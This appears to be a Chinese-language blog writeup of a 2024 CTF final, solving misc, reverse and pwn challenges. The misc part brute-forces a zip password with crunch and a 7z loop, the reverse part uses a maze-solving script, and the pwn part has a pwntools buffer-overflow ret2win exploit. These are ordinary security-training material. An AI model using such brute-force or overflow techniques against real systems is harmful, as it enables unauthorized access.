0%

2024玄盾珠峰决赛Writeup

[toc]

前言

书接上回,第一天的预赛如果大家还算理智和克制,那第二天的决赛现场的选手可能就跟打了鸡血一样,比赛分了企业组、学生组和政府组,每个组在最后半小时都是风云变幻,赛后甚至还有人打探到某组的第一名是花钱买的,去年相同级别的一个比赛花了2w,今年花了1w(难道市场化了?所以价格下跌了。。。)

企业组的前几名,复杂的附件题目哐哐秒答案,最简单的web和pwn题没人做,就不要太明显。

虽说各级别CTF比赛的PY交易从来都不罕见,但是如此混乱的赛场纪律真是第一次见。

比赛的时候有一道复杂一点的misc,到比赛结束后和队友交流的时候才发现,其实比赛的时候已经做到最后一步了,盲水印隐写已经拿到结果了,但是还是因为疏于练习,竟然连文件路径都搞错了,愣是没找到输出的盲水印结果。。。如果有这道题目的分数,可能起码还能混到一个奖金。

比赛结束后在赛场附近闯了个红灯,痛失6分+200大洋,没拿到奖金还搭进去200块,真悲摧。

btw:WP还没写完,写博客的时候,用hexo直接创建了post,deploy了之后就发布了,暂时不知道如何将layout为post的文章改为draft,就先这样吧,反正写起来也快。

Misc

hide flag

一道简单的word隐写,打开word全选字符串之后修改颜色,发现了密码

image-20240914224323711

那么肯定需要什么东西去解压了,docx本身也是一种压缩文件,将其解压之后,在word-media中发现了flag.zip

image-20240914224445440

构造字典爆破压缩密码,可以考虑直接用Advanced Archive Password Recovery,当时作为一名优雅且喜欢CLI的CTFer,图形化显然不够优雅。

首先用crunch构造字典

1
crunch 11 11 -t S1cRe7..%%% -o password.txt

同样优雅的用7z配合for循环爆破

1
for i in `cat password.txt`;do 7z x -p$i -aoa flag.zip >/dev/null 2>&1 && echo "Password found:$i"&&break;done

image-20240914231737380

手速不手速的不要紧,要紧的是优雅。

布达拉宫

binwalk发现图片存在压缩包,压缩包包含的是两张图片

image-20240918112650674

用foremost对图片进行分离,得到一个压缩包,压缩包再解压得到两张看似一样的图片。

image-20240918112733419

双图的话两个方向,一个是双图隐写,比如对比两张图片不通的像素位置,然后看是否隐写了别的内容;要么是盲水印,这道题实际是盲水印

直接上工具解盲水印

1
blindwatermark decode output/zip/budalagong_1.png output/zip/budalagong_2.png result.png

上面的blindwattermark是在zshrc中设置了alias,简化命令

image-20240918113222303

image-20240918113301373

盲水印执行成功后,拿到flag.zip的密码,密码是一个计算式,结果就是密码

password is (sqrt(4096576)*87/12+8)*17-8787 + “Tibet666”

image-20240918113700140

解压后,通过tips发现,是词频统计

image-20240918113738975

e和n组成的字符串就是flag{的base64,所以只需要根据flag文件中的词频,正确拼接flag的内容就行

1
2
3
4
5
6
7
8
9
10
11
12
from collections import Counter
from base64 import b64decode
with open("flag.txt")as f:
word_data = f.read()
word_freq = sorted(Counter(word_data).items(),key=lambda x:x[1],reverse=True)
with open("./tips.txt")as f:
flag_data = f.readlines()

flag_dict = dict(line.strip().split(' = ') for line in flag_data)

flag = "".join([flag_dict[x[0]] for x in word_freq if x[0] in flag_dict.keys()])
print(b64decode(flag))

image-20240918115401278

Web

qiandao

ezjava

比赛的时候没时间看,赛后主办方也没给wp或者docker文件,所以没法继续做。

Crypto

EasyRSA

Revere

confidential

如果不脱壳,找到的字符串是缺失字符的

image-20240918120555995

image-20240918120548526

image-20240918120627841

脱壳之后用ida打开,直接在字符串那里成功看到flag的base64编码

image-20240918120810782

或者直接strings也能搜索到完整的字符串

image-20240918121001827

image-20240918120848132

ezmaze

反编译后,查看字符串,发现了迷宫

image-20240820135431639

根据段数据内容,找到了对应的函数

image-20240820135519122

根据函数内容,确定了迷宫的入口出口,以及操作的方式,wsad分别代表上下左右,所以输出的路径就是代表上下左右方向的字符串

image-20240820135730510

确定了迷宫的情况之后,只需要找到路径就可以了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
from hashlib import md5
maze = [[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],
[0,1,0,1,0,1,0,1,1,1,1,1,0,1,1,1,1,1,0,1,0],
[0,1,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0],
[0,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,0],
[0,1,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,1,0,1,0],
[0,1,0,1,1,1,1,1,0,1,0,1,0,1,1,1,0,1,0,1,0],
[0,1,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0],
[0,1,0,1,0,1,1,1,1,1,0,1,1,1,0,1,0,1,1,1,1],
[0,1,0,0,0,1,0,1,0,1,0,0,0,1,0,1,0,1,0,1,0],
[0,1,1,1,1,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0],
[0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,0,1,0],
[0,1,1,1,1,1,0,1,1,1,1,1,1,1,0,1,1,1,0,1,0],
[0,0,0,1,0,1,0,1,0,1,0,0,0,1,0,1,0,1,0,1,0],
[0,1,0,1,0,1,0,1,0,1,0,1,1,1,0,1,0,1,0,1,0],
[0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0],
['@',1,1,1,0,1,1,1,0,1,0,1,1,1,1,1,1,1,1,1,0],
[0,1,0,1,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0],
[0,1,0,1,0,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,0],
[0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0],
[0,1,1,1,1,1,1,1,1,1,0,1,0,1,1,1,0,1,1,1,0]]

dirs = [(0,1),(1,0),(0,-1),(-1,0)]
contrl = ['d','s','a','w']
maze_path = []
def trans_dirs(direction):
"""
将移动坐标转换成对应的方向键
"""
return contrl[dirs.index(direction)]
def passable(maze,pos):
"""
判断当前所在位置是否可以通过,加try是为了判断当前位置在迷宫范围内
"""
try:
return maze[pos[0]][pos[1]] == 1
except:
return False
def mark(maze,pos):
"""
标记走过的位置
"""
maze[pos[0]][pos[1]] = 2
def direct_control(maze,start_pos,end_pos):

mark(maze,start_pos)
#如果起始位置和终止位置一致,则表示已到达终点
if start_pos==end_pos:
maze_path.append(start_pos)
return True
#根据四个方向移动位置
for i in range(4):
next_pos = start_pos[0]+dirs[i][0],start_pos[1]+dirs[i][1]
#判断当前位置通过性
if passable(maze,next_pos):
#循环调用
if direct_control(maze,next_pos,end_pos):
#print(next_pos)
maze_path.append(start_pos)
return True
return False
def view_path(maze,path):
"""
绘制迷宫和路径
"""
for i,p in enumerate(path):
if i==0:#路径出口
maze[p[0]][p[1]]='E'
print(p[0], p[1])
elif i==len(path)-1:#路径入口
maze[p[0]][p[1]]='S'
else:#路径其他位置
maze[p[0]][p[1]]=3

for r in maze:
for c in r:
if c==3:
print("\033[0;31m"+"* "+"\033[0m",end="")
elif c=='S' or c=='E':
print("\033[0;34m"+c+" "+"\033[0m", end="")
elif c==2:
print("\033[0;32m"+"# "+"\033[0m", end="")
elif c==0:
print("\033[0;40m"+" "+"\033[0m", end="")
else:
print(" "*2,end="")
print()
start_pos = (15, 0)
end_post = (7, 20)
direct_control(maze,start_pos,end_post)
view_path(maze,maze_path)
flag = ""

#转换移动坐标为路径方向
for i in range(len(maze_path)-1):
delta = (maze_path[i][0]-maze_path[i+1][0],
maze_path[i][1]-maze_path[i+1][1])
flag +=trans_dirs(delta)


flag_reverse = "".join(reversed(flag))
print(flag_reverse)
print(md5(bytes(flag_reverse.strip(), encoding='utf-8')).hexdigest())

image-20240820140856374

PWN

NoTeLanDer_v2

vunlnerable函数存在溢出

image-20240918120024061

dream函数可以执行命令

image-20240918120036149

比赛的题目环境,幸亏是/flag文件,否则还得想办法传递system函数去执行自定义的命令

偏移是0x20+8

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
context(
log_level="debug",
binary="./NoTeLanDer_v2",
terminal=['tmux', 'splitw', '-h']
)

DEBUG = 0
Align = 0
if DEBUG:
io=process()
e = context.binary
#gdb.attach(io,"b *main+116")
else:
io = remote("xx.xx.xx.xx",28012)
e = context.binary
offset = 0x28
bin_sh_addr = e.symbols['dream']
log.success(f'bin_sh_addr:{hex(bin_sh_addr)}')
if Align:
pop_rdi_ret = 0x400823
payload = b'a'*offset +p64(pop_rdi_ret)+ p64(bin_sh_addr)
else:
payload = b'a'*offset + p64(bin_sh_addr)
io.sendafter('Can you show me your magic code?\n', payload)
io.interactive()

image-20240918120339691

Film_backstage_v2